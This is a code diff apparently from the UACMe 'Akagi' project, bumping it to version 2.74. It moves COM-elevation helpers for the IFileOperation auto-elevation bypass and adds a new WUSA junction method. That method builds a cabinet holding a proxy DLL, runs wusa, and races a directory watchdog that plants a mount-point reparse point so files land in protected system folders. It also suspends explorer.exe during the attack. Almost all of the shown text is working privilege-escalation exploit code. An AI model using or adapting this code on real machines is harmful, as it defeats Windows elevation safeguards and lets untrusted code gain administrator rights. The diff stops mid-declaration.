100644 --- a/Source/Akagi/methods/methods.h +++ b/Source/Akagi/methods/methods.h @@ -4,9 +4,9 @@ * * TITLE: METHODS.H * -* VERSION: 2.73 +* VERSION: 2.74 * -* DATE: 27 May 2017 +* DATE: 20 June 2017 * * Prototypes and definitions for UAC bypass methods table. * @@ -55,6 +55,7 @@ typedef enum _UCM_METHOD { UacMethodMsSettings, //+ UacMethodTyranid, //+ UacMethodTokenMod, //+ + UacMethodJunction, //+ UacMethodMax } UCM_METHOD; @@ -88,6 +89,8 @@ typedef struct _UCM_API_DISPATCH_ENTRY { BOOL SetParameterInRegistry; } UCM_API_DISPATCH_ENTRY, *PUCM_API_DISPATCH_ENTRY; +#include "comfileop.h" +#include "wusa.h" #include "pitou.h" #include "simda.h" #include "explife.h" diff --git a/Source/Akagi/methods/pitou.c b/Source/Akagi/methods/pitou.c index 1286a7a..4fb4e75 100644 --- a/Source/Akagi/methods/pitou.c +++ b/Source/Akagi/methods/pitou.c @@ -4,9 +4,9 @@ * * TITLE: PITOU.C * -* VERSION: 2.71 +* VERSION: 2.74 * -* DATE: 07 May 2017 +* DATE: 10 June 2017 * * Leo Davidson based IFileOperation auto-elevation. * @@ -18,283 +18,6 @@ *******************************************************************************/ #include "global.h" -/* -* ucmMasqueradedRenameElementCOM -* -* Purpose: -* -* Rename file/directory autoelevated. -* This function expects that supMasqueradeProcess was called on process initialization. -* -*/ -BOOL ucmMasqueradedRenameElementCOM( - _In_ LPWSTR OldName, - _In_ LPWSTR NewName -) -{ - BOOL bCond = FALSE, bResult = FALSE; - IFileOperation *FileOperation1 = NULL; - IShellItem *psiDestDir = NULL; - HRESULT r = E_FAIL; - - do { - - if ((OldName == NULL) || (NewName == NULL)) - break; - - r = CoCreateInstance(&CLSID_FileOperation, NULL, - CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER, &IID_IFileOperation, &FileOperation1); - - if (r != S_OK) { - break; - } - - if (FileOperation1 != NULL) { - FileOperation1->lpVtbl->Release(FileOperation1); - } - - r = ucmMasqueradedCoGetObjectElevate( - T_CLSID_FileOperation, - CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER, - &IID_IFileOperation, - &FileOperation1); - - if (r != S_OK) { - break; - } - if (FileOperation1 == NULL) { - r = E_FAIL; - break; - } - - FileOperation1->lpVtbl->SetOperationFlags(FileOperation1, g_ctx.IFileOperationFlags); - - r = SHCreateItemFromParsingName(OldName, NULL, &IID_IShellItem, &psiDestDir); - if (r != S_OK) { - break; - } - - r = FileOperation1->lpVtbl->RenameItem(FileOperation1, psiDestDir, NewName, NULL); - if (r != S_OK) { - break; - } - - r = FileOperation1->lpVtbl->PerformOperations(FileOperation1); - if (r != S_OK) { - break; - } - - psiDestDir->lpVtbl->Release(psiDestDir); - psiDestDir = NULL; - - bResult = TRUE; - - } while (bCond); - - if (FileOperation1 != NULL) { - FileOperation1->lpVtbl->Release(FileOperation1); - } - - if (psiDestDir != NULL) { - psiDestDir->lpVtbl->Release(psiDestDir); - } - - return bResult; -} - -/* -* ucmMasqueradedCreateSubDirectoryCOM -* -* Purpose: -* -* Create directory autoelevated. -* This function expects that supMasqueradeProcess was called on process initialization. -* -*/ -BOOL ucmMasqueradedCreateSubDirectoryCOM( - _In_ LPWSTR ParentDirectory, - _In_ LPWSTR SubDirectory -) -{ - BOOL bCond = FALSE, bResult = FALSE; - IFileOperation *FileOperation1 = NULL; - IShellItem *psiDestDir = NULL; - HRESULT r = E_FAIL; - - do { - - if ((SubDirectory == NULL) || (ParentDirectory == NULL)) - break; - - r = CoCreateInstance(&CLSID_FileOperation, NULL, - CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER, &IID_IFileOperation, &FileOperation1); - - if (r != S_OK) { - break; - } - - if (FileOperation1 != NULL) { - FileOperation1->lpVtbl->Release(FileOperation1); - } - - r = ucmMasqueradedCoGetObjectElevate( - T_CLSID_FileOperation, - CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER, - &IID_IFileOperation, - &FileOperation1); - - if (r != S_OK) { - break; - } - if (FileOperation1 == NULL) { - r = E_FAIL; - break; - } - - FileOperation1->lpVtbl->SetOperationFlags(FileOperation1, g_ctx.IFileOperationFlags); - - r = SHCreateItemFromParsingName(ParentDirectory, NULL, &IID_IShellItem, &psiDestDir); - if (r != S_OK) { - break; - } - - r = FileOperation1->lpVtbl->NewItem(FileOperation1, psiDestDir, FILE_ATTRIBUTE_DIRECTORY, SubDirectory, NULL, NULL); - if (r != S_OK) { - break; - } - - r = FileOperation1->lpVtbl->PerformOperations(FileOperation1); - if (r != S_OK) { - break; - } - - psiDestDir->lpVtbl->Release(psiDestDir); - psiDestDir = NULL; - - bResult = TRUE; - - } while (bCond); - - if (FileOperation1 != NULL) { - FileOperation1->lpVtbl->Release(FileOperation1); - } - - if (psiDestDir != NULL) { - psiDestDir->lpVtbl->Release(psiDestDir); - } - - return bResult; -} - -/* -* ucmMasqueradedMoveCopyFileCOM -* -* Purpose: -* -* Move or Copy file autoelevated. -* This function expects that supMasqueradeProcess was called on process initialization. -* -*/ -BOOL ucmMasqueradedMoveCopyFileCOM( - _In_ LPWSTR SourceFileName, - _In_ LPWSTR DestinationDir, - _In_ BOOL fMove -) -{ - BOOL cond = FALSE; - IFileOperation *FileOperation1 = NULL; - IShellItem *isrc = NULL, *idst = NULL; - SHELLEXECUTEINFOW shexec; - HRESULT r = E_FAIL; - - do { - - if ((SourceFileName == NULL) || (DestinationDir == NULL)) - break; - - RtlSecureZeroMemory(&shexec, sizeof(shexec)); - - r = CoCreateInstance(&CLSID_FileOperation, NULL, - CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER, &IID_IFileOperation, &FileOperation1); - - if (r != S_OK) - break; - - if (FileOperation1 != NULL) - FileOperation1->lpVtbl->Release(FileOperation1); - - r = ucmMasqueradedCoGetObjectElevate( - T_CLSID_FileOperation, - CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER, - &IID_IFileOperation, - &FileOperation1); - - if (r != S_OK) - break; - - if (FileOperation1 == NULL) { - r = E_FAIL; - break; - } - - FileOperation1->lpVtbl->SetOperationFlags(FileOperation1, g_ctx.IFileOperationFlags); - - r = SHCreateItemFromParsingName(SourceFileName, NULL, &IID_IShellItem, &isrc); - if (r != S_OK) - break; - - r = SHCreateItemFromParsingName(DestinationDir, NULL, &IID_IShellItem, &idst); - if (r != S_OK) - break; - - if (fMove) - r = FileOperation1->lpVtbl->MoveItem(FileOperation1, isrc, idst, NULL, NULL); - else - r = FileOperation1->lpVtbl->CopyItem(FileOperation1, isrc, idst, NULL, NULL); - - if (r != S_OK) - break; - - r = FileOperation1->lpVtbl->PerformOperations(FileOperation1); - if (r != S_OK) - break; - - idst->lpVtbl->Release(idst); - idst = NULL; - isrc->lpVtbl->Release(isrc); - isrc = NULL; - - } while (cond); - - if (FileOperation1 != NULL) - FileOperation1->lpVtbl->Release(FileOperation1); - - if (isrc != NULL) - isrc->lpVtbl->Release(isrc); - - if (idst != NULL) - idst->lpVtbl->Release(idst); - - return (SUCCEEDED(r)); -} - -/* -* ucmMasqueradedMoveFileCOM -* -* Purpose: -* -* Move file autoelevated. -* This function expects that supMasqueradeProcess was called on process initialization. -* -*/ -BOOL ucmMasqueradedMoveFileCOM( - _In_ LPWSTR SourceFileName, - _In_ LPWSTR DestinationDir -) -{ - return ucmMasqueradedMoveCopyFileCOM(SourceFileName, DestinationDir, TRUE); -} - /* * ucmStandardAutoElevation2 * @@ -479,40 +202,3 @@ BOOL ucmStandardAutoElevation( return bResult; } - -/* -* ucmMasqueradedCoGetObjectElevate -* -* Purpose: -* -* CoGetObject elevation as admin. -* -*/ -HRESULT ucmMasqueradedCoGetObjectElevate( - _In_ LPWSTR clsid, - _In_ DWORD dwClassContext, - _In_ REFIID riid, - _Outptr_ void **ppv -) -{ - HRESULT r = E_FAIL; - BIND_OPTS3 bop; - WCHAR szElevationMoniker[MAX_PATH]; - - if (clsid == NULL) - return r; - - if (_strlen(clsid) > 64) - return r; - - RtlSecureZeroMemory(szElevationMoniker, sizeof(szElevationMoniker)); - - _strcpy(szElevationMoniker, L"Elevation:Administrator!new:"); - _strcat(szElevationMoniker, clsid); - - RtlSecureZeroMemory(&bop, sizeof(bop)); - bop.cbStruct = sizeof(bop); - bop.dwClassContext = dwClassContext; - - return CoGetObject(szElevationMoniker, (BIND_OPTS *)&bop, riid, ppv); -} diff --git a/Source/Akagi/methods/pitou.h b/Source/Akagi/methods/pitou.h index 20b440f..0782923 100644 --- a/Source/Akagi/methods/pitou.h +++ b/Source/Akagi/methods/pitou.h @@ -4,9 +4,9 @@ * * TITLE: PITOU.H * -* VERSION: 2.71 +* VERSION: 2.74 * -* DATE: 06 May 2017 +* DATE: 10 June 2017 * * Prototypes and definitions for Leo Davidson method. * @@ -26,26 +26,3 @@ BOOL ucmStandardAutoElevation( BOOL ucmStandardAutoElevation2( CONST PVOID ProxyDll, DWORD ProxyDllSize); - -BOOL ucmMasqueradedCreateSubDirectoryCOM( - _In_ LPWSTR ParentDirectory, - _In_ LPWSTR SubDirectory); - -BOOL ucmMasqueradedMoveCopyFileCOM( - _In_ LPWSTR SourceFileName, - _In_ LPWSTR DestinationDir, - _In_ BOOL fMove); - -BOOL ucmMasqueradedMoveFileCOM( - _In_ LPWSTR SourceFileName, - _In_ LPWSTR DestinationDir); - -BOOL ucmMasqueradedRenameElementCOM( - _In_ LPWSTR OldName, - _In_ LPWSTR NewName); - -HRESULT ucmMasqueradedCoGetObjectElevate( - _In_ LPWSTR clsid, - _In_ DWORD dwClassContext, - _In_ REFIID riid, - _Outptr_ void **ppv); diff --git a/Source/Akagi/methods/tyranid.c b/Source/Akagi/methods/tyranid.c index 7e3be40..7286b28 100644 --- a/Source/Akagi/methods/tyranid.c +++ b/Source/Akagi/methods/tyranid.c @@ -4,15 +4,18 @@ * * TITLE: TYRANID.C * -* VERSION: 2.73 +* VERSION: 2.74 * -* DATE: 27 May 2017 +* DATE: 11 June 2017 * * James Forshaw autoelevation method(s) * Fine Dinning Tool (c) CIA * * For description please visit original URL * https://tyranidslair.blogspot.ru/2017/05/exploiting-environment-variables-in.html +* https://tyranidslair.blogspot.ru/2017/05/reading-your-way-around-uac-part-1.html +* https://tyranidslair.blogspot.ru/2017/05/reading-your-way-around-uac-part-2.html +* https://tyranidslair.blogspot.ru/2017/05/reading-your-way-around-uac-part-3.html * * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED @@ -192,7 +195,7 @@ BOOL ucmTokenModification( tml.Label.Sid = pIntegritySid; Status = NtSetInformationToken(hDupToken, TokenIntegrityLevel, &tml, - sizeof(TOKEN_MANDATORY_LABEL) + RtlLengthSid(pIntegritySid)); + (ULONG)(sizeof(TOKEN_MANDATORY_LABEL) + RtlLengthSid(pIntegritySid))); if (!NT_SUCCESS(Status)) { #ifdef _INT_DEBUG supDebugPrint( diff --git a/Source/Akagi/methods/wusa.c b/Source/Akagi/methods/wusa.c new file mode 100644 index 0000000..0aa3cbf --- /dev/null +++ b/Source/Akagi/methods/wusa.c @@ -0,0 +1,426 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2017 +* +* TITLE: WUSA.C +* +* VERSION: 2.74 +* +* DATE: 20 June 2017 +* +* Windows Update Standalone Installer (WUSA) based routines. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ +#include "global.h" +#include "makecab.h" + +/* +* ucmWusaExtractPackage +* +* Purpose: +* +* Extract cab to protected directory using wusa. +* This routine expect source as ellocnak.msu cab file in the %temp% folder. +* +*/ +BOOL ucmWusaExtractPackage( + _In_ LPWSTR lpTargetDirectory +) +{ + BOOL bResult = FALSE; + SIZE_T Size; + LPWSTR lpCommandLine = NULL; + WCHAR szMsuFileName[MAX_PATH * 2]; + + if (lpTargetDirectory == NULL) + return FALSE; + + RtlSecureZeroMemory(szMsuFileName, sizeof(szMsuFileName)); + _strcpy(szMsuFileName, g_ctx.szTempDirectory); + _strcat(szMsuFileName, ELLOCNAK_MSU); + + Size = ((1 + _strlen(lpTargetDirectory) + + _strlen(szMsuFileName) + + MAX_PATH) * sizeof(WCHAR)); + + lpCommandLine = (LPWSTR)supHeapAlloc(Size); + if (lpCommandLine) { + + _strcpy(lpCommandLine, L"/c wusa "); + _strcat(lpCommandLine, szMsuFileName); + _strcat(lpCommandLine, L" /extract:"); + _strcat(lpCommandLine, lpTargetDirectory); + + bResult = supRunProcess(CMD_EXE, lpCommandLine); + + supHeapFree(lpCommandLine); + } + DeleteFile(szMsuFileName); + return bResult; +} + +/* +* ucmCreateCabinetForSingleFile +* +* Purpose: +* +* Build cabinet for usage in methods where required 1 file. +* +*/ +BOOL ucmCreateCabinetForSingleFile( + _In_ LPWSTR lpSourceDll, + _In_ PVOID ProxyDll, + _In_ DWORD ProxyDllSize +) +{ + BOOL cond = FALSE, bResult = FALSE; + CABDATA *Cabinet = NULL; + LPWSTR lpFileName; + WCHAR szMsuFileName[MAX_PATH * 2]; + + if ((ProxyDll == NULL) || + (ProxyDllSize == 0) || + (lpSourceDll == NULL)) return bResult; + + do { + + //drop proxy dll + if (!supWriteBufferToFile(lpSourceDll, ProxyDll, ProxyDllSize)) { + break; + } + + //build cabinet + RtlSecureZeroMemory(szMsuFileName, sizeof(szMsuFileName)); + _strcpy(szMsuFileName, g_ctx.szTempDirectory); + _strcat(szMsuFileName, ELLOCNAK_MSU); + + Cabinet = cabCreate(szMsuFileName); + if (Cabinet == NULL) + break; + + lpFileName = _filename(lpSourceDll); + //put file without compression + bResult = cabAddFile(Cabinet, lpSourceDll, lpFileName); + cabClose(Cabinet); + + } while (cond); + + return bResult; +} + +volatile ULONG g_ThreadFinished = 0; + +/* +* ucmxInvokeWusaThread +* +* Purpose: +* +* Start wusa and wait a bit. +* +*/ +DWORD ucmxInvokeWusaThread( + PVOID Param) +{ + SHELLEXECUTEINFO shinfo; + WCHAR szProcess[MAX_PATH * 2]; + WCHAR szParameters[MAX_PATH * 3]; + + UNREFERENCED_PARAMETER(Param); + + InterlockedExchange((LONG*)&g_ThreadFinished, 0); + + RtlSecureZeroMemory(&shinfo, sizeof(shinfo)); + + _strcpy(szProcess, g_ctx.szSystemDirectory); + _strcat(szProcess, WUSA_EXE); + + RtlSecureZeroMemory(szParameters, sizeof(szParameters)); + _strcpy(szParameters, TEXT(" /quiet ")); + _strcat(szParameters, g_ctx.szTempDirectory); + _strcat(szParameters, ELLOCNAK_MSU); + + shinfo.cbSize = sizeof(shinfo); + shinfo.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_NO_UI; + shinfo.lpFile = szProcess; + shinfo.lpParameters = szParameters; + shinfo.nShow = SW_HIDE; + + if (ShellExecuteEx(&shinfo)) { + + if (WaitForSingleObject(shinfo.hProcess, 1000) == WAIT_TIMEOUT) + TerminateProcess(shinfo.hProcess, 0); + + CloseHandle(shinfo.hProcess); + InterlockedExchange((LONG*)&g_ThreadFinished, 1); + } + return 0; +} + +/* +* ucmxDirectoryWatchdogThread +* +* Purpose: +* +* Monitor directory creation in system root directory. +* When it happened - set reparse point. +* +*/ +DWORD ucmxDirectoryWatchdogThread( + PVOID Param) +{ + BOOL bCond = FALSE, bResult = FALSE; + NTSTATUS status; + + HANDLE hDirectory = NULL, hReparseDirectory = NULL, hEvent = NULL; + IO_STATUS_BLOCK IoStatusBlock; + OBJECT_ATTRIBUTES ObjectAttributes; + + LPWSTR lpTargetDirectory = (LPWSTR)Param; + + PVOID Buffer = NULL; + SIZE_T memIO = 0; + FILE_NOTIFY_INFORMATION *pInfo = NULL; + + LPWSTR CapturedDirectoryName = NULL, lpEnd = NULL; + + WCHAR szBuffer[MAX_PATH + 1]; + + UNICODE_STRING usTargetDirectory, usWatchDirectory, usReparseDirectory; + + + do { + + // + // Convert target directory path to native form. + // + usTargetDirectory.Buffer = NULL; + if (!RtlDosPathNameToNtPathName_U(lpTargetDirectory, &usTargetDirectory, NULL, NULL)) + break; + + // + // Convert watch directory path to native form. + // + RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); + szBuffer[0] = L'\\'; + szBuffer[1] = L'?'; + szBuffer[2] = L'?'; + szBuffer[3] = L'\\'; + _strncpy(&szBuffer[4], MAX_PATH, g_ctx.szSystemDirectory, 3); + + // + // Open directory for change notification. + // + usWatchDirectory.Buffer = NULL; + RtlInitUnicodeString(&usWatchDirectory, szBuffer); + InitializeObjectAttributes(&ObjectAttributes, &usWatchDirectory, OBJ_CASE_INSENSITIVE, 0, NULL); + + status = NtCreateFile(&hDirectory, + FILE_LIST_DIRECTORY | SYNCHRONIZE, + &ObjectAttributes, + &IoStatusBlock, + NULL, + FILE_OPEN_FOR_BACKUP_INTENT, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN, + FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, + NULL, + 0); + + if (!NT_SUCCESS(status)) + break; + + memIO = 1024 * 1024; + Buffer = supHeapAlloc(memIO); + if (Buffer == NULL) + break; + + InitializeObjectAttributes(&ObjectAttributes, NULL, 0, 0, NULL); + status = NtCreateEvent(&hEvent, EVENT_ALL_ACCESS, &ObjectAttributes, NotificationEvent, FALSE); + if (!NT_SUCCESS(status)) + break; + + // + // Watch for directory changes. + // + do { + + status = NtNotifyChangeDirectoryFile(hDirectory, hEvent, NULL, NULL, + &IoStatusBlock, Buffer, (ULONG)memIO, FILE_NOTIFY_CHANGE_DIR_NAME, TRUE); + + if (status == STATUS_PENDING) + NtWaitForSingleObject(hEvent, TRUE, NULL); + + NtSetEvent(hEvent, NULL); + + pInfo = (FILE_NOTIFY_INFORMATION*)Buffer; + for (;;) { + + if (pInfo->Action == FILE_ACTION_ADDED) { + + memIO = pInfo->FileNameLength + + ((1 + _strlen(szBuffer)) * sizeof(WCHAR)); + + CapturedDirectoryName = supHeapAlloc(memIO); + + if (CapturedDirectoryName) { + _strcpy(CapturedDirectoryName, szBuffer); + lpEnd = _strend(CapturedDirectoryName); + RtlCopyMemory(lpEnd, pInfo->FileName, pInfo->FileNameLength); + + // + // Open new directory to set reparse point. + // + usReparseDirectory.Buffer = NULL; + RtlInitUnicodeString(&usReparseDirectory, CapturedDirectoryName); + InitializeObjectAttributes(&ObjectAttributes, &usReparseDirectory, OBJ_CASE_INSENSITIVE, NULL, NULL); + status = NtCreateFile(&hReparseDirectory, + FILE_ALL_ACCESS, + &ObjectAttributes, + &IoStatusBlock, + NULL, + 0, + FILE_SHARE_READ | FILE_SHARE_WRITE, + FILE_OPEN, + FILE_OPEN_REPARSE_POINT | FILE_SYNCHRONOUS_IO_NONALERT, + NULL, + 0); + + if (NT_SUCCESS(status)) { + + // + // Set reparse point. + // + bResult = supSetMountPoint(hReparseDirectory, + usTargetDirectory.Buffer, + lpTargetDirectory); + + } + + status = STATUS_NO_SECRETS; + } + + } //Action + + if (status == STATUS_NO_SECRETS) + break; + + pInfo = (FILE_NOTIFY_INFORMATION*)(((LPBYTE)pInfo) + pInfo->NextEntryOffset); + if (pInfo->NextEntryOffset == 0) + break; + } + + } while (NT_SUCCESS(status)); + + } while (bCond); + + // + // Cleanup. + // + if (hEvent) + NtClose(hEvent); + + if (hDirectory != NULL) + NtClose(hDirectory); + + if (usTargetDirectory.Buffer) + RtlFreeUnicodeString(&usTargetDirectory); + + if (Buffer != NULL) + supHeapFree(Buffer); + + // + // Remove reparse point. + // + if (CapturedDirectoryName) { + + while (g_ThreadFinished != 1) + Sleep(100); + + if (hReparseDirectory) { + supDeleteMountPoint(hReparseDirectory); + NtClose(hReparseDirectory); + } + + RtlInitUnicodeString(&usReparseDirectory, CapturedDirectoryName); + InitializeObjectAttributes(&ObjectAttributes, &usReparseDirectory, OBJ_CASE_INSENSITIVE, NULL, NULL); + NtDeleteFile(&ObjectAttributes); + supHeapFree(CapturedDirectoryName); + } + + return (DWORD)bResult; +} + +/* +* ucmWusaExtractViaJunction +* +* Purpose: +* +* Extract cab contents to the specified directory by initializing wusa race condition. +* This routine expect source as ellocnak.msu cab file in the %temp% folder. +* +*/ +BOOL ucmWusaExtractViaJunction( + _In_ LPWSTR lpTargetDirectory +) +{ + BOOL bCond = FALSE; + +#ifndef _DEBUG + HANDLE hExplorer = NULL; +#endif + + HANDLE hWatchdogThread, hWusaThread; + DWORD ti; + + // + // Query explorer.exe handle and use it to suspend process. + // Thus blocking unwanted user changes during work. + // +#ifndef _DEBUG + hExplorer = supGetExplorerHandle(); + if (hExplorer != NULL) { + NtSuspendProcess(hExplorer); + } +#endif + + do { + + // + // Run watchdog thread. + // + hWatchdogThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ucmxDirectoryWatchdogThread, lpTargetDirectory, 0, &ti); + if (hWatchdogThread == NULL) + break; + + // + // Run wusa in separate thread. + // + hWusaThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ucmxInvokeWusaThread, NULL, 0, &ti); + if (hWusaThread) { + if (WaitForSingleObject(hWusaThread, 5000) == WAIT_TIMEOUT) + TerminateThread(hWusaThread, 0); + + CloseHandle(hWusaThread); + } + + if (WaitForSingleObject(hWatchdogThread, 10000) == WAIT_TIMEOUT) + TerminateThread(hWatchdogThread, 0); + + CloseHandle(hWatchdogThread); + + } while (bCond); + +#ifndef _DEBUG + if (hExplorer != NULL) { + NtResumeProcess(hExplorer); + NtClose(hExplorer); + } +#endif + + return (g_ThreadFinished == 1); +} diff --git a/Source/Akagi/methods/wusa.h b/Source/Akagi/methods/wusa.h new file mode 100644 index 0000000..6b160bf --- /dev/null +++ b/Source/Akagi/methods/wusa.h @@ -0,0 +1,30 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2017 +* +* TITLE: WUSA.H +* +* VERSION: 2.74 +* +* DATE: 20 June 2017 +* +* Prototypes and definitions for Windows Update Standalone Installer (WUSA) based methods. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ +#pragma once + +BOOL ucmWusaExtractPackage( + _In_ LPWSTR lpTargetDirectory); + +BOOL ucmCreateCabinetForSingleFile( + _In_ LPWSTR lpSourceDll, + _In_ PVOID ProxyDll, + _In_ DWORD ProxyDllSize); + +BOOL ucmWusaExtractViaJunction( + _In_ LPWSTR lpTargetDirectory); diff --git a/Source/Akagi/sup.c b/Source/Akagi/sup.c index 470fd07..f04e041 100644 --- a/Source/Akagi/sup.c +++ b/Source/Akagi/sup.c @@ -4,9 +4,9 @@ * * TITLE: SUP.C * -* VERSION: 2.72 +* VERSION: 2.74 * -* DATE: 26 May 2017 +* DATE: 20 June 2017 * * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED @@ -109,6 +109,32 @@ BOOL supGetElevationType( return (NT_SUCCESS(status)); } +/* +* supGetExplorerHandle +* +* Purpose: +* +* Returns Explorer process handle opened with maximum allowed rights or NULL on error. +* +*/ +HANDLE supGetExplorerHandle( + VOID +) +{ + HWND hTrayWnd = NULL; + DWORD dwProcessId = 0; + + hTrayWnd = FindWindow(TEXT("Shell_TrayWnd"), NULL); + if (hTrayWnd == NULL) + return NULL; + + GetWindowThreadProcessId(hTrayWnd, &dwProcessId); + if (dwProcessId == 0) + return NULL; + + return OpenProcess(MAXIMUM_ALLOWED, FALSE, dwProcessId); +} + /* * supWriteBufferToFile * @@ -312,7 +338,7 @@ BOOL supRunProcess2( ) { BOOL bResult; - SHELLEXECUTEINFOW shinfo; + SHELLEXECUTEINFO shinfo; RtlSecureZeroMemory(&shinfo, sizeof(shinfo)); if (lpszProcessName == NULL) @@ -324,7 +350,7 @@ BOOL supRunProcess2( shinfo.lpParameters = lpszParameters; shinfo.lpDirectory = NULL; shinfo.nShow = SW_SHOW; - bResult = ShellExecuteExW(&shinfo); + bResult = ShellExecuteEx(&shinfo); if (bResult) { if (fWait) WaitForSingleObject(shinfo.hProcess, 0x8000); @@ -852,7 +878,7 @@ DWORD supExpandEnvironmentStrings( &Length ); if (NT_SUCCESS(Status) || Status == STATUS_BUFFER_TOO_SMALL) { - return(Length / sizeof(WCHAR)); + return (DWORD)(Length / sizeof(WCHAR)); } else { RtlSetLastWin32Error(RtlNtStatusToDosError(Status)); @@ -1122,3 +1148,130 @@ BOOL supSetEnvVariable( return bResult; } + +/* +* supDeleteMountPoint +* +* Purpose: +* +* Removes reparse point of type mount_point from directory. +* +*/ +BOOL supDeleteMountPoint( + _In_ HANDLE hDirectory +) +{ + NTSTATUS status; + IO_STATUS_BLOCK IoStatusBlock; + + REPARSE_GUID_DATA_BUFFER Buffer; + + RtlSecureZeroMemory(&Buffer, sizeof(REPARSE_GUID_DATA_BUFFER)); + Buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; + + status = NtFsControlFile(hDirectory, + NULL, + NULL, + NULL, + &IoStatusBlock, + FSCTL_DELETE_REPARSE_POINT, + &Buffer, + REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, + NULL, + 0); + + if (status == STATUS_NOT_A_REPARSE_POINT) { + SetLastError(ERROR_INVALID_PARAMETER); + } + else { + SetLastError(RtlNtStatusToDosError(status)); + } + + return NT_SUCCESS(status); +} + +/* +* supSetMountPoint +* +* Purpose: +* +* Install reparse point of type mount_point to directory. +* +*/ +BOOL supSetMountPoint( + _In_ HANDLE hDirectory, + _In_ LPWSTR lpTarget, + _In_ LPWSTR lpPrintName +) +{ + ULONG memIO; + USHORT cbTarget, cbPrintName, reparseDataLength; + NTSTATUS status; + IO_STATUS_BLOCK IoStatusBlock; + + REPARSE_DATA_BUFFER *Buffer; + + if ((lpTarget == NULL) || (lpPrintName == NULL)) { + SetLastError(ERROR_INVALID_PARAMETER); + return FALSE; + } + + // + // Calculate required buffer size. + // Header + length of input strings + safe space. + // + cbTarget = (USHORT)(_strlen(lpTarget) * sizeof(WCHAR)); + cbPrintName = (USHORT)(_strlen(lpPrintName) * sizeof(WCHAR)); + + reparseDataLength = cbTarget + cbPrintName + 12; + memIO = (ULONG)(reparseDataLength + REPARSE_DATA_BUFFER_HEADER_LENGTH); + + Buffer = supHeapAlloc((SIZE_T)memIO); + if (Buffer == NULL) + return FALSE; + + // + // Setup reparse point structure. + // + Buffer->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; + Buffer->ReparseDataLength = reparseDataLength; + + // + // Add Target to PathBuffer. + // + Buffer->MountPointReparseBuffer.SubstituteNameOffset = 0; + Buffer->MountPointReparseBuffer.SubstituteNameLength = cbTarget; + + RtlCopyMemory(Buffer->MountPointReparseBuffer.PathBuffer, + lpTarget, + cbTarget); + + // + // Add PrintName to PathBuffer. + // + Buffer->MountPointReparseBuffer.PrintNameOffset = cbTarget + sizeof(UNICODE_NULL); + Buffer->MountPointReparseBuffer.PrintNameLength = cbPrintName; + + RtlCopyMemory(&Buffer->MountPointReparseBuffer.PathBuffer[(cbTarget / sizeof(WCHAR)) + 1], + lpPrintName, + cbPrintName); + + // + // Set reparse point. + // + status = NtFsControlFile(hDirectory, + NULL, + NULL, + NULL, + &IoStatusBlock, + FSCTL_SET_REPARSE_POINT, + Buffer, + memIO, + NULL, + 0); + + supHeapFree(Buffer); + + SetLastError(RtlNtStatusToDosError(status)); + return NT_SUCCESS(status); +} diff --git a/Source/Akagi/sup.h b/Source/Akagi/sup.h index b2ae77e..e795dec 100644 --- a/Source/Akagi/sup.h +++ b/Source/Akagi/sup.h @@ -4,9 +4,9 @@ * * TITLE: SUP.H * -* VERSION: 2.72 +* VERSION: 2.74 * -* DATE: 26 May 2017 +* DATE: 11 June 2017 * * Common header file for the program support routines. * @@ -28,12 +28,44 @@ typedef struct _SXS_SEARCH_CONTEXT { LPWSTR FullDllPath; } SXS_SEARCH_CONTEXT, *PSXS_SEARCH_CONTEXT; +//ntifs.h +typedef struct _REPARSE_DATA_BUFFER { + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + union { + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + ULONG Flags; + WCHAR PathBuffer[1]; + } SymbolicLinkReparseBuffer; + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + WCHAR PathBuffer[1]; + } MountPointReparseBuffer; + struct { + UCHAR DataBuffer[1]; + } GenericReparseBuffer; + } DUMMYUNIONNAME; +} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER; + +#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer) + BOOLEAN supIsProcess32bit( _In_ HANDLE hProcess); BOOL supGetElevationType( TOKEN_ELEVATION_TYPE *lpType); +HANDLE 